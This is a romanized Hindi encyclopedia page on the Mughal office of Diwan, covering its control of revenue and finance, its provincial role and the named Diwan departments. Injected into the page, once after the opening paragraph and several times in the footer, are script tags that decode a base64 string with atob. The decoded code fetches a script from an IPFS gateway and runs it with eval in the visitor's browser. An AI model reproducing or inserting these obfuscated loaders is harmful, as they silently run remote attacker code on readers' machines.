दीवान
divan mugalakalin shasan vyavastha mean sabase b da adhikari hota tha. vah rajasv evan vitt ka ekamatr prabhari hota tha. usaki niyukti n keval kendriy sarakar mean varanh prantiy sarakaroan mean bhi hoti thi. aj bharat mean divan ka pad kee vibhagoan mean mahattvapoorn mana jata hai.[1]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rajasv evan vittiy vibhag par niyantran
farasi mool ke shabd 'divan' ka niyantran rajasv evan vittiy vibhag par hota tha. akabar ke samay mean usaka vitt vibhag divan muzaphphar khan, raja todaramal evan khvajashah mansoor ke adhin 23 varshoan tak raha. jahaangir ke samay afazal khaan, islam khaan evan sadulla khaan ke adhin rajasv vibhag lagabhag 32 varshoan tak raha. aurangajeb ke samay mean asad khaan sarvadhik 31 varshoan tak is pad par raha. divan ya vazir ke nirikshan mean kary karane vale mukhy vibhag 'divan-e-khalasa'[2], 'divan-e-tan'[3], 'divan-e-tabajih'[4], 'divan-e-jagir'[5], 'divan-e-bayootat'[6], 'divan-e-sadat'[7] adi the.
prant mean niyantran
prantoan mean divan ka pad soobedar ke bad mana jata tha. prantoan mean divan bhi badashah ke dvara niyukt kiya jata tha, jo keval badashah ke prati hi uttaradayi hota tha. is prakar vah soobedar ko manamani karane se rokata tha.[1]
divan shabd ka prayog
is shabd ka prayog samanyat: ek vibhag ke lie hota tha, yatha-
- divan-e-am, athava samrat ka karyalay.
- divan-e-amir kohi athava krishi vibhag.
- divan-e-arj-athava sena ka vibhag.
- divan-e-bandagan athava das vibhag.
- divan-e-iansha athava patrachar vibhag.
- divan-e-istihaq athava peanshan vibhag.
- divan-e-khairat athava dan vibhag.
- divan-e-khas athava samrat ka aantarang sabhakaksh.
- divan-e-mustakharaj athava kar vasool karane valoan se baqaya vasool karane vala vibhag.
- divan-e-qajie-mamalak-athava nya, guptachari aur dak vibhag.
- divan-e-risalat-athava apil vibhag.
- divan-e-risayat athava hat adhikshakoan ka vibhag.
yah shabdavali prakat karati hai ki dilli ke samratoan ki prashasan paddhati mean ek prakar ki vibhagiy vyavastha thi.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>